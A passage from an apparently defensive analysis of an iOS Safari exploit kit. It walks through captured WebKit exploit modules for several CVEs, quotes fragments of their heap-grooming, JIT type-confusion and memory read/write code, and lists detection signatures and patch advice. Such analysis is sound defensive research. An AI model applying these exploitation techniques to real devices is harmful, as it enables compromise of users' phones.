Intl.NumberFormatobjects — an iOS-specific heap grooming technique documented in the public literature - SVG element attributes as read/write gadgets — documented in prior research on WebKit exploitation
Readers who want the conceptual treatment should consult those primary sources. This page covers what the captured code specifically does.
File structure at a glance
The 1,069-line cleaned file is organized as:
| Lines | Role |
|---|---|
| 1–280 | Preamble, helper classes (z, k) that wrap the eventual R/W gadgets, import of JIT primitives from the loader |
| 281–470 | r.kr async entry point — the initial trigger, reclaim, and primitive leak |
| 470–990 | Version-gated post-corruption state setup — different iOS builds take different paths based on offset table entries |
| 990–1069 | SVG element array creation and final primitive handoff to the consumer |
Walkthrough: entry point (lines 281–286)
return r.kr = async function(t) {
const i = BigInt("0x7FFFFFFFFF");
function n(t) {
return t & i
}
try {
The module’s entry point r.kr is an async function taking t (the JIT primitives object provided by the loader). The BigInt constant 0x7FFFFFFFFF is a pointer mask used later to strip high bits from leaked addresses — iOS arm64 user-space pointers fit in 39 bits, and the mask normalizes any leaked value. The inner function n(t) applies this mask; the module uses it repeatedly to sanitize leaked pointers.
The outer try block begins a large inner IIFE. Wrapping the execution in a try/catch is defensive programming on the kit’s part — if any step throws unexpectedly, the kit catches the exception cleanly to avoid leaving a Safari crash report that would alert a security product or a forensic examiner.
Walkthrough: OfflineAudioContext setup (lines 287–294)
const i = { xi: null, Pi: null },
r = new OfflineAudioContext(2, 44100, 44100),
e = r.decodeAudioData.bind(r),
o = [];
r.decodeAudioData = async t => {
const i = await e(t);
return o.push(i), null
};
Line 290 creates an OfflineAudioContext with 2 channels, 44.1 kHz sample rate, and 44,100 samples of capacity. The helper object i will hold the result state later. The original decodeAudioData method is bound to the preserved name e, and an empty buffer o is initialized.
Lines 291–294 replace r.decodeAudioData with a monkey-patched async function that calls the original via e, pushes the decoded result into o, and returns null. This gives the module a hook point where it can observe the completion of audio decoding without the result flowing back to its normal consumer.
Detection relevance: monkey-patching decodeAudioData on a fresh OfflineAudioContext is unusual in benign web content. A content-inspection rule matching this pattern is high-fidelity.
Walkthrough: heap grooming helpers (lines 295–309)
Three helper functions are defined for heap grooming:
a()— attempts to construct 7,000Intl.NumberFormatobjects with the locale string"dowocjfjq[". The locale is deliberately malformed — every construction throws, thecatchcounter increments, and the function asserts the expected count. The locale"dowocjfjq["is a distinctive literal that appears in the kit and should be alerted on by detection rules.c()— allocates 240 instances ofnew ArrayBuffer(4194304)(4 MB each) in a tight loop.h(t, i)— the main exploitation routine, defined at line 310 and covering roughly 150 lines. It coordinates the spray, the trigger, and the initial leak.
Detection relevance: the literal string "dowocjfjq[" is a unique artifact. A content-inspection rule matching new Intl.NumberFormat("dowocjfjq[" is specific enough to serve as a nearly-false-positive-free alert.
Walkthrough: main exploitation coordinator h(t, i) (lines 310–470)
The h function is the central coordinator. Rather than walk through its body line-by-line, the structural phases it performs are:
- Initial setup — constructs the helper buffers the reclaim phase will use, including an
ArrayBuffer(16384)operated on through thexhelper class and an array ofIntl.NumberFormatinstances. - First spray — fills a range of indices in the caller’s array
twithIntl.NumberFormatobjects, plus additional spray arraysoandh. - First grooming pass — calls
c()anda()to force garbage-collection attention and normalize the heap layout. .format(1)/.format(2)/.format(3)triggering — walks the sprayed format objects and calls.format()on each with specific argument values. This forces JIT compilation of the format path with the specific object shapes the module has established.- Second grooming pass — a second round of
c()anda()to normalize the heap again before the trigger. - Trigger loop — 20 iterations of alternating calls to the monkey-patched
decodeAudioData, with innertry/catchblocks to absorb any exceptions thrown during the trigger. - Leak scan — walks the sprayed array starting at index
i, calls.format(1.02)on each entry, and inspects the returned string for a distinctive length anomaly. When a format object returns an unexpected-length string, the module interprets it as a leaked pointer — ther.charCodeAt(19),r.charCodeAt(18),r.charCodeAt(17)reads assemble the bytes into a BigInt, subtract the offset312, and return it along with the compromised format object.
The returned value from h is an object {Mi, Oi, Wi} containing the array of all sprayed objects, the compromised format object reference, and the leaked pointer.
Walkthrough: the z and k helper classes (lines 1–280)
Two helper classes define the read/write interface that downstream code consumes:
- Class
z— SVG-attribute-based read/write wrapper. Operates on threefeConvolveMatrixelements and exposes methods that read and write 32-bit and 64-bit values throughorderX/baseValattribute manipulation. - Class
k— a higher-level read/write wrapper that composes the SVG attribute operations with BigInt arithmetic and the pointer mask defined at the entry point.
The interface surface exposed by k mirrors the JIT primitives module: read32, write32, read64, write64, plus helpers for reading C strings and for address-of operations.
Walkthrough: SVG element creation (line 994)
et = [
document.createElementNS("http://www.w3.org/2000/svg", "feConvolveMatrix"),
document.createElementNS("http://www.w3.org/2000/svg", "feConvolveMatrix"),
document.createElementNS("http://www.w3.org/2000/svg", "feConvolveMatrix")
],
ot = et[0].orderX,
st = et[1].orderX,
at = et[2].orderX,
ct = JSON.parse("[1.1, []]");
Three feConvolveMatrix SVG filter elements are created via createElementNS. Their orderX attribute objects are captured into ot, st, at — these are the handles the z class later operates on. A small JSON-parsed array ct is created as a scratch buffer.
Detection relevance: creating three feConvolveMatrix elements back-to-back and immediately capturing orderX references is unusual in benign content. A content-inspection rule matching this pattern is high-fidelity.
Walkthrough: version-gated state setup (lines 470–990)
The bulk of the file between lines 470 and 990 is a large branching region that takes different paths depending on the exact iOS build the fingerprinting module detected. Each path sets up different offsets for JavaScriptCore’s internal object layout on that specific build.
The variable T.Dn.Hn is the version-gate configuration object (populated by the fingerprinting module — see 04-fingerprinting.md). Properties on it like PtqWRQ, CqGuvK, Rg_UT1, ixqELG select between code paths.
For a researcher walking through the code: the cleanest way to read this region is to pick one iOS build (e.g., 17.2.1) and follow only the branches where the corresponding flag is true.
ASLR slide computation
Around lines 653–661, a second decodeAudioData sequence is used to convert the leaked pointer into the ASLR slide. The slide is stored for use by the Mach-O parser and implant loader downstream.
Detection signatures
Signatures that identify this module independent of identifier renaming:
- Monkey-patching
decodeAudioDataon a freshOfflineAudioContext— high-fidelity indicator - The literal locale string
"dowocjfjq["appearing in anew Intl.NumberFormat(...)call — almost certainly a Coruna artifact - Back-to-back creation of three
feConvolveMatrixSVG elements followed immediately byorderXattribute captures - A spray loop of exactly 7,000
Intl.NumberFormatobjects - The specific sequence: sprayed format objects,
.format()calls with integer arguments,decodeAudioDatatrigger, then.format(1.02)leak scan - Network signature: fetching the on-server filename
8d646979cf7f3e5e33a85024b6cf2bc81a6c5812.js(lysNguv) orff4f3cb4711fb364b52de5ab04a8f83140466f89.js(fqMaGkNL) from any host is a strong IoC
Cross-references
- 01-jit-primitives.md — the primitive layer this module hands off to
- 04-fingerprinting.md — the
PtqWRQflag that causes this module to be selected - 05-macho-parser.md — consumes the ASLR slide leaked here
- 06-cve-mapping.md — CVE metadata
Defensive notes
- iOS 17.3 or later is fully immune (CVE-2024-23222 is patched)
- Lockdown Mode reduces the likelihood of successful exploitation even on unpatched builds
- The
"dowocjfjq["locale string is an almost-perfect detection signature — it is specific to this kit - On-server filenames in 08-iocs.md provide network-level detection
- Host-based detection: iVerify and similar iOS telemetry products can detect the forensic traces of a successful run against vulnerable builds
iOS 15.x JIT Type Confusion
Hashes: d6cb72f5888b2ec1282b584155490e3b6e90a977 (lysNguv) / 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 (fqMaGkNL)
iOS target: iOS 15.2 through 15.5, with version-gated paths that also handle some iOS 16.x builds (up to ≈16.3)
Role in chain: WebKit RCE entry point for iOS 15.x and early-16.x victims
Primary CVEs: CVE-2023-43000, CVE-2022-48503 — both on the CISA KEV list, both patched in iOS 16.6
Source files:
analysis/exploits/lysnguv/clean/d6cb72f5888b2ec1282b584155490e3b6e90a977.js(395 lines)analysis/exploits/fqmagknl/clean/57cb8c6431c5efe203f5bfa5a1a83f705cb350b8.js
A note on depth
This page walks the captured code at structural and interface depth — what the file does, where to look, and what the distinctive code shapes are. The conceptual treatment of JavaScriptCore JIT type confusion lives in the Technique background section further down, with citations to the public research it summarizes.
Defensive context
- iOS 16.6 (July 2023) patches both CVE-2023-43000 and CVE-2022-48503. Any iPhone that has received updates since mid-2023 is fully immune to this module.
- CISA added both CVEs to the Known Exploited Vulnerabilities catalog within months of disclosure.
- Lockdown Mode disables JIT compilation in Safari entirely, neutralizing this module independent of patch status.
- The module is tightly version-gated. Memory-layout offsets (
beVloM,qhgEnH,ixqELG,RsHuh9) come from the fingerprint table and only match iOS 15.2–15.5 / 16.0–16.3 builds. On any other build it bails out cleanly.
File structure at a glance
The 395-line cleaned file is organized into four structural regions:
| Lines | Role |
|---|---|
| 1–6 | Module preamble, imports of K (math/value helpers from 1ff010bb…) and T (config table from 6b57ca33…) |
| 7–155 | Class J — primitive-builder for iOS 16.4+ (post-restructure WebKit) |
| 156–318 | Class $ — primitive-builder for iOS 15.2–16.3 (pre-restructure WebKit) — same interface as J with subtly different bootstrap (the for(let t=0;t<22;t++) warming loop at line 220 vs. the for(let t=0;t<1;t++) warmup in J at line 71) |
| 319–324 | Helper functions V() (4 MB × 240 ArrayBuffer spray) and G() (10M-element Uint32Array via eval) |
| 325–394 | async function H(t) — the entry point (r.kr = H) that drives the entire exploitation flow |
| 395 | return r.kr=H,r; — module export |
The J / $ duality is the key structural feature: the version-gate at line 332 (T.Dn.dn>=160400 ? new J : new $) selects which class instance becomes the primitive driver. Both classes expose identical interfaces — ne, re, rr, sr, ee, br, dr, Ar, tA, Pr, Sa, ka, pa, ma, Tr, Ua, Ci, _a, Ba — but they diverge in their constructor’s WASM bytecode definition (lines 60 vs. 209) and in how aggressively they pre-warm the WASM exports.
Walkthrough: WASM bytecode definition (lines 60, 209)
Both classes embed a small WebAssembly module as a Uint8Array literal in their constructor. The bytecode declares two function exports — btl and alt — and three or eight global slots (126, 1, 66, ... is the LEB128-encoded i64.const initializer).
In class J (line 60), the bytecode declares eight globals including five externref slots (111, 1, 208, 111 repeats) and uses non-zero f64x2 SIMD initializers. In class $ (line 209), the bytecode declares three globals, all i64, all initialized to zero. The two WASM modules are not functionally identical: the J variant’s larger global table is the substrate the iOS 16.4+ exploitation path needs to escape JSC’s restructured value representation.
The two WebAssembly.Instance objects (ra, ia in both classes) are assigned at lines 66–67 / 215–216 with the line this.ra[0]=3 — this is a deliberate write to the instance’s first internal slot, which the exploit later targets via the corrupted JS array.
Detection relevance: an inline Uint8Array([0,97,115,109,1,0,0,0,...]) literal followed immediately by new WebAssembly.Module and two new WebAssembly.Instance calls from the same module is a high-fidelity signature for iOS WebKit exploitation kits. The 0,97,115,109 prefix is the WASM magic \x00asm.
Walkthrough: heap grooming helpers (lines 319–328)
function V(){
for(let t=0;t<240;t++)new ArrayBuffer(4194304)
}
function G(){
eval("new Uint32Array(10000000);")
}
V() allocates 240 × 4 MB ArrayBuffers (≈960 MB of address space). G() uses eval to allocate a 10-million-element Uint32Array (40 MB) — wrapping the allocation in eval defeats JIT escape analysis so the allocation actually happens at runtime.
These functions are called from H() at line 328 to normalize the heap layout before the trigger. The 4 MB chunk size matches WebKit’s LargeAllocator threshold; the 240-iteration count is tuned to fill several VM region buckets, biasing where subsequent JS object allocations land.
Detection relevance: the literal new ArrayBuffer(4194304) in a tight 240-iteration loop is unusual in benign code. The eval("new Uint32Array(10000000)") pattern is even rarer.
Walkthrough: entry function H(t) setup (lines 325–346)
async function H(t){
const r=new Float64Array(10),e=new Int32Array(r.buffer),n=new Array(3000);
for(let t=0;t<7000;t++)n[t]=JSON.parse("{\"a" + (t) + "\": " + (t) + "}");
G(),V();
Line 326 sets up the NaN-box scratch buffer: a 10-element Float64Array and an Int32Array aliasing the same backing buffer. Reading the same bits as float vs. int is the substrate for converting NaN-boxed JS values into raw 32-bit integer pairs. See Technique background for the conceptual treatment.
Line 327 sprays 7,000 distinct shape JSON objects ({"a0":0}, {"a1":1}, …). Each JSON.parse call produces an object with a unique property name, forcing JavaScriptCore to assign each one a distinct Structure (the JSC term for what V8 calls a Hidden Class / Map). This grooms the Structure ID space — the bug being exploited turns on Structure ID confusion, so flooding the ID space with attacker-controlled shapes increases the probability that the post-trigger collision lands on an attacker-controlled object.
Line 328 calls G() and V() to spray plain memory after the shape spray.
Lines 329–335 build the i state object — a single sealed object that holds every state the exploitation phases share, including the Float64Array (M), the aliasing Int32Array (Pa), the version-gated primitive instance (Wa: T.Dn.dn>=160400 ? new J : new $), the leak-target slots (ja: { xa, Fa, Ca, va, Da, Oa, Na }), arrays of test types (t, l, i), and a giant inline-function-budget shim (Ja). Sealing the object at line 336 with Object.seal(i) prevents the JIT from further specializing its shape during the warming loops.
Walkthrough: dynamic function generation (lines 337–340)
const a="x += 1; x += 1; x += 1; x += 1; x += 1; x += 1; x += 1;";
let s="";
for(let t=0;t<7200;t++)s+=a;
const l=new Function("func","arg0","arg1","arg2","arg3","arg4",
"if(false) { let x = 0; " + s + " }\nreturn func(arg0, arg1, arg2, arg3, arg4);");
This builds a function whose body is 50,400 statements long (x += 1 × 7 × 7,200), all wrapped in if(false). The dead-code body never executes, but it inflates the function’s bytecode size past JavaScriptCore’s inline-call threshold. The visible work is the trailing return func(...) — every JIT inlining decision involving l will refuse to inline because the body looks too large, while runtime cost stays constant.
This is a JIT-budget-poisoning trick: it gives the attacker a guaranteed call site that the JIT will never inline, which is needed because the type-confusion trigger relies on the JIT’s view of func.arguments[N] not getting flattened by inlining.
The function l is stored as i.u at line 341. Every subsequent reference to i.u is a call through this poisoned wrapper.
Detection relevance: new Function(...) constructed from a string containing 50,000+ identical assignment statements is essentially unique to this kit. A content-inspection rule matching new Function with body length > 100 KB and a high count of repeated statements would catch it.
Walkthrough: version-gated trigger setup (lines 349–358)
The T.Dn.Pn=(()=>{ ... })() IIFE at line 349 begins the actual exploitation. Inside it, i.k is assigned to one of two arrow functions selected by T.Dn.dn>=160400:
- iOS 16.4+ branch (lines 350–356) — uses the
qhgEnHandixqELGoffsets and writes5e-324*g(the float bit pattern of pointer 0x…0001) into the corrupted slot. The 30-iteration tail loops (for(let r=0;r<30;r++)t.u(t.ee, …)) are JIT-warming for the type-confused accesses. - iOS 15.x–16.3 branch (lines 357–358) — uses the
RsHuh9offset path, with a single-pass write followed by the same 30-iteration warming loops.
Both branches compute t.ja.Oa, t.ja.xa, t.ja.Da / t.ja.Ca, t.ja.va / t.ja.Fa, and t.ja.Na = h — these are the leaked address slots that will be handed to the primitive class’s ua() method at line 385.
The variable names (Oa, xa, Da, Ca, va, Fa, Na) are the kit’s internal labels for the five address quantities the primitive bootstrap needs: butterfly base, JSCell pointer, structure pointer, indexing type cell, and an arena anchor. The fact that the iOS 16.4+ branch computes Da and the older branch computes Ca reflects a real WebKit internal restructuring at iOS 16.4 — the cell layout the offsets describe is genuinely different between those builds.
Walkthrough: the inline function i.Ja (line 359)
i.Ja is built via new Function from a long source string that begins with if(false){return followed by two Math.random() interpolations. The Math.random() values are evaluated at function-construction time and baked into the source — this defeats JavaScriptCore’s bytecode caching, ensuring a fresh JIT compile every time the loader runs.
The function body builds a 5,000-element array of [i, 1.1, 2.2, 3.3, 4.4, 5.5] shapes, then iterates with the type-confusion trigger pattern: const i = [s, e, o, -2.5301706769843864e-98, 2]. The literal -2.5301706769843864e-98 is the IEEE 754 double whose bit pattern matches a specific JSC NaN-box tag — this is the value the type-confused read returns when the bug fires.
The two literals -2.5301706769843864e-98 and -2.7130486595895504e-98 (used as sentinels in the spray arrays at lines 382–384) are specific bit patterns chosen because their NaN-box interpretation crosses JSC’s JSValue type checks in exactly the way the exploit needs. They are essentially unique kit fingerprints.
Detection relevance: searching JavaScript for the literals -2.5301706769843864e-98 or -2.7130486595895504e-98 is a near-perfect signature for this module.
Walkthrough: the warming and triggering loops (lines 376–385)
After i.Ja is built, the IIFE defines four further functions — l, o, c, f (lines 376–381) — each followed by a 100,000-iteration warming loop. Each loop repeats the same call until either the iteration count is exhausted or i.Pa[1]<0 becomes true. i.Pa is the Int32Array view over the NaN-box scratch buffer; i.Pa[1]<0 means the high 32 bits of the float interpretation are set, which is how the trigger function signals “I observed the type confusion.” The loops self-terminate as soon as the JIT mistype actually fires.
Line 385 contains the payoff: for(let t=0;t<1000000;t++)i.u(b,i,a,4) runs the type-confused function one million times, with a being the strange pseudo-array built at lines 364–375 (an object with length:1 and getter properties at indices 3 and 8 that trigger arbitrary side effects when read). The interaction between the JIT’s view of a (length=1) and the actual property accessor at index 8 is where the type confusion lands.
After the trigger loop, the code asserts i.A (a flag set inside the trigger callback when the bug fires correctly) — if it’s false, it throws and the kit gives up cleanly.
The next lines (i.Wa.ua(i.ja.xa, i.ja.va, i.ja.Oa, i.ja.Da, i.ja.Na) for 16.4+, or the Ca/Fa variant for older builds) hand the leaked addresses to the primitive class. From this point on, d = i.Wa is a fully-armed primitive instance with working rr/sr/ee/br/tA methods.
Walkthrough: WebAssembly Table address leak (lines 385, end)
let U=d.Ba(WebAssembly.Table); U&=u;
let _=U-U%0x1000n;
if(0n===_)throw new Error("");
for(;;){
if(4277009103===d.rr(_))break;
_-=BigInt(4096)
}
The final lines call d.Ba(WebAssembly.Table) to obtain the raw address of the global WebAssembly.Table constructor object. The & u (where u is the 39-bit pointer mask 0x7FFFFFFFFF imported at line 4) strips any high bits. The address is page-aligned (U - U%0x1000n), then a backwards search walks one page at a time looking for the magic word 4277009103 (0xFEEDFACF — the 64-bit Mach-O magic number).
The backwards page walk locates the on-disk base address of the JavaScriptCore framework in memory, which is the anchor the Mach-O parser module (05-macho-parser.md) needs to bootstrap symbol resolution. The use of WebAssembly.Table as the anchor is deliberate: it’s a singleton that always lives inside the JavaScriptCore image, regardless of how the page is laid out otherwise.
Detection relevance: a backwards 4096-byte page walk searching for 0xFEEDFACF in JavaScript is essentially unique to iOS exploitation kits. So is calling Ba(WebAssembly.Table)-shaped extraction (any function that takes a constructor reference and returns an integer is post-corruption code).
Walkthrough: cleanup on failure (lines 391–393)
catch(t){
throw T.Dn.Pn=void 0,t
}
The IIFE is wrapped in a try/catch that nulls T.Dn.Pn (the global slot that holds the primitive instance) on any exception before re-throwing. This is defensive programming on the operators’ part — if the trigger phase crashes Safari, the catch block ensures the kit’s global state doesn’t leave partial primitives lying around for a forensic examiner to find.
Technique background
JavaScriptCore JIT type confusion as a bug class
JavaScriptCore (the JS engine in Safari and WKWebView) compiles JS through several tiers: LLInt (interpreter), Baseline JIT, DFG (Data Flow Graph), and FTL (Faster Than Light, LLVM-backed). Each tier-up keeps track of the types the previous tier saw at each operation, and the optimizing tiers specialize code based on those observed types. If the optimizer’s type model can be made to disagree with the actual runtime type of a value — even briefly, even at one specific bytecode offset — the resulting compiled code performs reads or writes against a value of one type while the engine treats it as a different type.
The classic outcome is that an Object is treated as a Float64Array (or vice versa). The compiled code reads what it thinks is a double, but the underlying bits are a JSCell pointer; the resulting double, when stored back into a real Float64Array, gives the attacker the raw pointer.
The two CVEs this module targets — CVE-2022-48503 (Webkit, “type confusion in DFG”, patched iOS 16.6) and CVE-2023-43000 (WebKit, also DFG, patched iOS 16.6) — are both bugs of this shape. CVE-2022-48503 is the older one and is what the iOS 15.x branch (class $) targets; CVE-2023-43000 is what the iOS 16.4+ branch (class J) targets, which is why the two branches use different memory offset tables and slightly different WASM bytecode.
The combination of two CVEs in one module is a deliberate operator choice: it lets a single shipped JS file cover the entire iOS 15.2–16.3 + 16.4–16.5 range without re-fetching anything per-victim. Once the fingerprint determines T.Dn.dn, the right class is instantiated and the rest of the exploitation runs identically.
NaN-boxing in JavaScriptCore
JSC represents every JS value in 64 bits using a NaN-boxing scheme. IEEE 754 doubles have a large set of bit patterns that all decode to NaN — JSC reserves all NaN bit patterns for non-double values, encoding pointers, integers, booleans, and null/undefined into the unused bits.
Specifically (the scheme used since approximately 2017):
- Any 64-bit value where the top 17 bits are not
0xFFFCis a real double - A value
0x0000000000000000isnull - A value where the top 16 bits are
0xFFFEis a 32-bit integer in the low 32 bits - A value where the top 16 bits are
0xFFFFis a JSCell pointer (everything else: objects, strings, arrays) - The constants
0x06,0x07,0x0A,0x0E, etc. encodefalse,true,null,undefined
The pointer mask 0x7FFFFFFFFF (39 bits, imported at line 4 as o/u) reflects iOS arm64 user-space’s effective virtual address width — once the high tag bits are stripped, what remains is a real iOS user-space pointer.
The literals -2.5301706769843864e-98 and -2.7130486595895504e-98 are doubles whose bit patterns match specific NaN-box tags — they are values the exploit can write into a slot expecting a double, then read back through the type-confused path and have the engine interpret as a tagged JS value. Constructing values that round-trip cleanly between the float and tagged interpretations is the core trick of NaN-box exploitation.
For the canonical conceptual treatment of NaN-boxing in JSC exploitation, see Samuel Groß’s “JITSploitation” series (Phrack #69, #70) and the Project Zero blog entries on JavaScriptCore type confusion. The Coruna code uses these techniques unchanged — the only kit-specific content is the version-gated offsets and the specific state-object shape.
Why dynamic function generation is needed
JavaScriptCore caches compiled bytecode keyed on source text. If the same script body is parsed twice with the same content, the second parse can re-use the cached compilation, including the cached type profile. Re-using a cached profile is fatal for this exploit: the profile from a previous run might already contain the polluted type observations the trigger needs to install fresh.
The two Math.random() interpolations baked into i.Ja at line 359 (and the same trick in b at line 382) ensure each loader instance generates source text that has never been seen before. The cache key misses, the parse produces a fresh bytecode stream, and the exploitation proceeds with a clean profile.
This is a standard counter-measure pattern in exploit kits targeting modern JS engines and is documented in multiple Project Zero writeups; see 10-references.md.
The role of the inline-budget shim i.u
The dead-code-padded function l (called via i.u) exists because the type confusion the exploit triggers requires that the call site be visible to the JIT but not inlined into the caller. If the JIT inlined l into the caller, the type observations would be merged into the caller’s profile and the trigger wouldn’t fire.
By making l’s body large enough to exceed the inlining budget (50,400 statements is far above the threshold), the kit guarantees the JIT compiles l as a separate function. The unused if(false) wrapper means the runtime cost is zero; only the compile-time decision is affected.
This is a known pattern documented in multiple writeups on JSC exploitation. The Coruna implementation is unusual only in that it inlines the trick directly into the loader rather than building it as a helper.
Why Object.seal matters
Object.seal(i) at line 336 prevents the engine from changing i’s Structure during the warming loops. Without seal, the JIT might observe i going through several different shapes as the trigger prepares it, and would compile a generic-shape access path. With seal, the Structure is frozen, the JIT compiles a single specific access path, and the type-confusion trigger has a stable target.
This is a defensive tactic the attacker uses to constrain the engine’s behavior — exactly the opposite of how Object.seal is normally framed (a defensive feature for application developers).
Detection signatures
Signatures that catch this module independent of identifier renaming:
- Two
WebAssembly.Instanceconstructions from the sameWebAssembly.Moduleinside a class constructor, both followed byinstance[0]=3writes — the substrate of the WASM-side primitive bootstrap. - The literal floats
-2.5301706769843864e-98or-2.7130486595895504e-98in JavaScript source — essentially unique to this kit. - A
for(let t=0;t<7000;t++)loop containingJSON.parse("{\"a"+t+"\": "+t+"}")— the Structure ID flooding pattern. - A
new Function(...)call where the body string is built from a 7,200-iteration loop concatenating"x += 1;"repeats — the inline-budget shim. - A backwards 4096-byte page walk searching for the constant
4277009103(0xFEEDFACF, Mach-O magic) — the JavaScriptCore image-base anchor. - The pattern
T.Dn.dn >= 160400 ? new J : new $(or any variable with a value of 160400 used in a class-selection ternary) — the iOS 16.4 version gate. new Functionsource containingMath.random()interpolations — the cache-defeat pattern.- Network signature: fetching the on-server filename
7994d095b1a601253c206c45c120a80c4c0f3736.js(lysNguv) or the corresponding fqMaGkNL hash from any host is a strong IoC. See 08-iocs.md.
Cross-references
- 01-jit-primitives.md — the primitive layer that wraps
class J/class $for downstream use - 04-fingerprinting.md — where
T.Dn.dnand the version flags come from - 04-ios11-13-legacy.md — the older sibling using a related technique on iOS 11–13
- 02-ios17-svg-uaf.md — the newer SVG-UAF chain for iOS 17.x
- 05-macho-parser.md — consumes the Mach-O base address found at line 385
- 06-cve-mapping.md — CVE metadata
- 10-references.md — Samuel Groß’s JITSploitation series, Project Zero JSC writeups
Defensive notes
- iOS 16.6 (July 2023) or later patches both CVE-2023-43000 and CVE-2022-48503 — any device updated since mid-2023 is immune.
- Lockdown Mode disables JIT in Safari, neutralizing this module independent of patch status. This is the most reliable defense for users who cannot guarantee they are on the latest iOS.
- The literal float
-2.5301706769843864e-98is an essentially-unique detection signature; a content-inspection rule matching it has near-zero false-positive risk. - The on-server filename
7994d095b1a601253c206c45c120a80c4c0f3736.jsprovides network-level detection. - Telemetry note: iVerify and similar iOS telemetry products can detect post-exploitation forensic traces (the masquerade as
com.apple.assistd, unexpected libraries loaded intopowerd) on devices that were successfully exploited via this chain.
iOS 11–13 Legacy Type Confusion
Hash: 8dbfa3fdd44e287d57c55e74a97f526120ffd8f0 (lysNguv only — not shipped in fqMaGkNL)
iOS target: iOS 11.0 through 13.x
Role in chain: WebKit RCE entry point for victims running very old iOS versions
Primary CVE: CVE-2021-30952 — patched in iOS 15.2 (December 2021), CISA KEV
Source file:
analysis/exploits/lysnguv/clean/8dbfa3fdd44e287d57c55e74a97f526120ffd8f0.js(371 lines)
A note on depth
This page walks the captured code at structural and interface depth — what the file does, where to look, and the distinctive code shapes a defender can match against. The conceptual treatment of NaN-box type confusion on legacy WebKit is in the Technique background section further down. Raw payload bytes embedded in the source (the inline WASM bytecode literal) are not reproduced here — defenders should consult the cleaned source file directly for those.
Defensive context
- iOS 15.2 (December 2021) patched CVE-2021-30952. Any iPhone updated in the last four years is fully immune.
- The targeted iOS range (11–13) is unsupported by Apple. Devices still running iOS 13 are typically iPhone 6, 6s, SE (1st gen) or older. These devices receive no security updates and should not be used to browse the web.
- The lysNguv variant ships this module; fqMaGkNL omits it entirely — the fqMaGkNL operators decided iOS 13 victims are not worth the kit shipping cost.
- Lockdown Mode is not available on iOS 13. The only equivalent protection on these devices is disabling JavaScript in Safari (Settings → Safari → Advanced → JavaScript), which breaks most of the modern web but reliably stops this module.
- Older iOS versions have substantially weaker platform mitigations: no Pointer Authentication Codes (PAC is A12-only — iPhone XS and later), weaker ASLR, simpler WebKit heap layout, no Lockdown Mode. The exploitation primitives in this file are correspondingly simpler than the iOS 15.x and 17.x counterparts.
File structure at a glance
The 371-line cleaned file is organized into three structural regions:
| Lines | Role |
|---|---|
| 1–6 | Module preamble; imports of K (math/value helpers from 1ff010bb…) and T (config table from 6b57ca33…) |
| 7–189 | class P — primitive-builder. Constructor (lines 139–154) sets up dual WebAssembly instances; methods expose read/write/string/buffer-leak primitives |
| 190–369 | r.kr = function() { … } — main entry point that drives the trigger, then constructs the primitive instance, then defines class J (the typed pointer wrapper) at lines 270–369 and exports it |
| 370–371 | Module export |
The file is markedly shorter than the iOS 15.x and 17.x equivalents because the older WebKit’s exploit doesn’t need version-gated branches, JIT-cage navigation, or Reflect.construct shape-confusion harnesses — the trigger is a single tight loop driven by a new Function-built type-confused callback.
Walkthrough: class P (lines 7–189)
class P is the primitive-builder. Once constructed, an instance exposes a complete read/write interface against the Safari process address space. It mirrors the interface of the iOS 15.x and 17.x primitive classes but with simpler internals because the underlying bug is more powerful and the platform less hardened.
Method roles, by line:
| Lines | Method | Role |
|---|---|---|
| 8–15 | tr | Hex dump helper for debugging (the operators clearly used this during development) |
| 16–24 | er, ir | Bulk write — copies a range from one address to another, 4 bytes at a time |
| 25–62 | le, hr, ar, cr, lr, ur | 32-bit / 64-bit / byte / string read variants |
| 63–67 | wr | Single-byte read with alignment fixup |
| 68–82 | ee, br, re | 64-bit composed read returning either a K.Vt pair or a tagged BigInt |
| 83–100 | dr, gr | Bounded C-string reads |
| 101–105 | ne | The address-of primitive (addrof): writes a JS reference into a known slot, reads back the slot’s storage as a 64-bit address |
| 106–127 | mr, Tr, Ar | Buffer/typed-array address primitives — given a JS buffer reference, return the address of its backing storage |
| 128–138 | Pr | Wrapped-call primitive that temporarily clobbers attacker-controlled slots, runs a callback, then restores the slots — used for atomic operations on the corrupted state |
| 139–154 | constructor | Trigger orchestration; see next section |
| 155–166 | Xr | A second-stage helper that walks an __AUTH_CONST style entry — present in the lysNguv variant only |
| 167–189 | rr, sr, Yr, Dr, jr, Zr | The base primitive triplet: 32-bit read, 32-bit write, paired writes, address validation. Everything in the upper half of the class composes these. |
The exported interface that downstream consumers (the JIT primitives module and the implant loader) actually use is the four-method core: rr (read32), sr (write32), ne (addrof), Ar (typed-array address). Everything else is sugar.
Walkthrough: constructor (lines 139–154)
The constructor takes four function arguments — t, r, i, s — that the entry function r.kr passes in as closures over the trigger state (see lines 233–248 below). These four functions are the bridge between the bug-trigger code (which has the type-confused observation) and the primitive-class code (which provides the user-facing read/write interface). The class itself does not contain the trigger; it only uses the closures to read and write.
Inside the constructor:
- Lines 140–143 build a small WebAssembly module with two instances. The two instances are used asymmetrically — one as a stable address oracle, the other as the active read/write channel. The
Uint8Arraybyte literal that defines the WASM module is opaque payload data and is not reproduced here; consultanalysis/exploits/lysnguv/clean/8dbfa3fdd44e287d57c55e74a97f526120ffd8f0.js:140for the actual bytes. - Lines 144–147 initialize state slots: a 64-bit-wide
ArrayBufferwith aUint32Arrayview (the NaN-box scratch buffer), a small objectyr={a:false}used as theaddroftarget, and a 22-iteration warming loop that calls every WASM export to force tier-up. - Lines 148–152 invoke the four bridge closures (
a,c,f) to extract the addresses needed for the read/write primitives. The first closurea(r)writes 1 into a known slot ofr, asks the trigger code for the address of the resulting value, and adds the per-build offsetsFSCw9fandVMMcypfrom the fingerprint table to land on the underlying buffer. - Line 153 stores the captured offsets and calls the fourth closure
s()(a no-op cleanup) before returning control.
After this constructor returns, the instance has working rr/sr primitives and is ready for use.
Detection relevance: the pattern of constructing two WebAssembly.Instance objects from the same module and immediately invoking them in a 22-iteration tier-up loop is a high-fidelity signature for this class of WebKit exploitation kit. The for(let t=0;t<22;t++) warming loop count is specific.
Walkthrough: r.kr entry function (lines 190–268)
The entry function defined at line 190 is the trigger. Its top-level structure is:
| Lines | Role |
|---|---|
| 191–192 | Allocate an array t of 400 elements pre-filled with empty arrays |
| 193–200 | Build a NaN-box scratch buffer (r/i/s = ArrayBuffer + Uint32 view + Float64 view) and a randomized helper a(t,r) that constructs specific double bit patterns from a randomized session-key n and salt h. The n and h randomization defeats static signatures keyed on specific bit values. |
